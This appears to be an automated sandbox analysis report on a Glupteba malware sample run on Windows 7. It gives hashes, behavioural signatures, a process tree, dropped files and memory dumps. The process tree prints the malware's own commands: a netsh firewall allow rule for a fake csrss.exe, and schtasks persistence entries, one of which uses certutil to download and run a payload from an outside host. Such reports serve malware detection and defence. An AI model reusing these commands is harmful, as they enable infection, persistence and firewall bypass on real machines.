Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    29-08-2024 18:18

General

  • Target

    c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    c95cacf637b843678cd05cbd450fa9d7

  • SHA1

    1e0f3dbd768e395e6781b84f5f2807515e15a265

  • SHA256

    0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe

  • SHA512

    df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53

  • SSDEEP

    98304:iqPyfT090XeSC5kk7a1+54uU6ab940tdvqMvmiVv4IA:iqPyL09onjeabqK8qVQ

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 11 IoCs
  • Windows security modification 2 TTPs 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2148
    • C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2732
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:2848
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1448
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1580
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2064
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1376
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2016
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240829181832.log C:\Windows\Logs\CBS\CbsPersist_20240829181832.cab
    1⤵
    • Drops file in Windows directory
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabFBCE.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarFBF1.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    3.9MB

    MD5

    c95cacf637b843678cd05cbd450fa9d7

    SHA1

    1e0f3dbd768e395e6781b84f5f2807515e15a265

    SHA256

    0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe

    SHA512

    df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53

  • memory/1376-42-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1376-28-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1448-333-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-443-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-464-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-451-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-22-0x0000000002670000-0x0000000002A17000-memory.dmp

    Filesize

    3.7MB

  • memory/1448-450-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-449-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-448-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-447-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-446-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-445-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-388-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-217-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-95-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/1448-162-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/2148-6-0x0000000002C90000-0x0000000003386000-memory.dmp

    Filesize

    7.0MB

  • memory/2148-1-0x00000000028E0000-0x0000000002C87000-memory.dmp

    Filesize

    3.7MB

  • memory/2148-0-0x00000000028E0000-0x0000000002C87000-memory.dmp

    Filesize

    3.7MB

  • memory/2148-3-0x0000000000400000-0x0000000000B10000-memory.dmp

    Filesize

    7.1MB

  • memory/2148-5-0x00000000028E0000-0x0000000002C87000-memory.dmp

    Filesize

    3.7MB

  • memory/2148-2-0x0000000002C90000-0x0000000003386000-memory.dmp

    Filesize

    7.0MB

  • memory/2148-7-0x0000000000400000-0x0000000000B10000-memory.dmp

    Filesize

    7.1MB

  • memory/2148-4-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/2724-10-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/2724-8-0x00000000025E0000-0x0000000002987000-memory.dmp

    Filesize

    3.7MB

  • memory/2724-9-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/2724-21-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB

  • memory/2724-11-0x0000000000400000-0x0000000000D2F000-memory.dmp

    Filesize

    9.2MB